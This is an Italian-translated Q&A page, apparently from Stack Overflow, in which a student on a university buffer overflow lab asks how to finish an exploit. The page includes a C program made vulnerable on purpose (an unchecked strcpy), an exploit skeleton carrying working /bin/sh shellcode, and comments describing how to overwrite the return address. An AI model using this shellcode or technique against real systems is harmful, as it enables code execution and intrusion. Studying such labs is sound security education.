2012-03-12 7 views
11

Sto lavorando a un progetto in cui dovrei scrivere un programma C per sfruttare la vulnerabilità di un determinato programma.Sfruttare un BufferOverflow

Ecco il programma C vulnerabili:

#include <stdlib.h> 
#include <stdio.h> 

int bof(char *str) 
{ 
    char buffer[12]; 
    strcpy(buffer, str); 
    return 1; 
} 

int main(int argc, char **argv) 
{ 
    char str[517]; 
    FILE *badfile; 
    badfile = fopen("badfile", "r"); 
    fread(str, sizeof(char), 517, badfile); 
    bof(str); 
    printf("Returned Properly\n"); 
    return 1; 
} 

E qui è il codice per exploit:

#include <stdlib.h> 
#include <stdio.h> 
#include <string.h> 
char shellcode[]= 
"\x31\xc0" /* xorl %eax,%eax */ 
"\x50"  /* pushl %eax  */ 
"\x68""//sh"/* pushl $0x68732f2f */ 
"\x68""/bin"/* pushl $0x6e69622f */ 
"\x89\xe3" /* movl %esp,%ebx */ 
"\x50"  /* pushl %eax  */ 
"\x53"  /* pushl %ebx  */ 
"\x89\xe1" /* movl %esp,%ecx */ 
"\x99"  /* cdql    */ 
"\xb0\x0b" /* movb $0x0b,%al */ 
"\xcd\x80" /* int $0x80  */ 
; 

void main(int argc, char **argv) 
{ 
    char buffer[517]; 
    FILE *badfile; 

    /* Initialize buffer with 0x90 (NOP instruction) */ 
    memset(&buffer, 0x90, 517); 

    /* Fill the buffer with appropriate contents here */ 

    /* Save the contents to the file "badfile" */ 
    badfile = fopen("./badfile", "w"); 
    fwrite(buffer, 517, 1, badfile); 
    fclose(badfile); 
} 

Così, ho bisogno di riempire il buffer con contenuti adeguati prima di salvare il "badfile ". Ho letto molto su buffer overflow e suppongo di dover modificare l'indirizzo di ritorno del programma vulnerabile. Ma davvero non so come dovrei farlo. Devo prima trovare l'indirizzo di ritorno originale o c'è qualcos'altro che posso fare? Inoltre, qualche idea/suggerimento su come dovrei implementare il buffer?

+1

Ho solo pensato di pubblicare il link a [il progetto] (http://www.cis.syr.edu/~wedu/seed/Labs/Vulnerability/Buffer_Overflow/). – Mehrdad

+1

È necessario calcolare l'offset del buffer che finirà per sovrascrivere il puntatore di ritorno salvato, quindi modificare il valore di tale offset per puntare a un'istruzione che finirà per eseguire il resto del buffer (come un 'jmp esp'). –

+2

Se il progetto è per [scuola] (http://meta.stackexchange.com/q/10811/133817), menzionarlo in modo esplicito. Le domande su SO dovrebbero essere più orientate al tuo codice rispetto a questo (vedi il link per i dettagli); se non sei nemmeno sicuro da dove cominciare, sarebbe meglio chiedere al tuo insegnante o all'AT. È qualcosa che avrebbero dovuto coprire in classe o nel tuo materiale. – outis

risposta

1

Suggerisco di leggere le pagine su Metasploit Unleashed, a partire da this one. È possibile passare attraverso i moduli ruby ​​associati, per vedere cosa sta effettivamente accadendo e porting su C. Anche se non banale, dimostra i metodi necessari.

Anche come altri hanno suggerito, l'uso di un debugger è importante per capire cosa sta succedendo. Ottenere una soluzione decente, come ad esempio cgdb, ddd, pyclewn o gdb-mode, renderà la vita molto più semplice.

Problemi correlati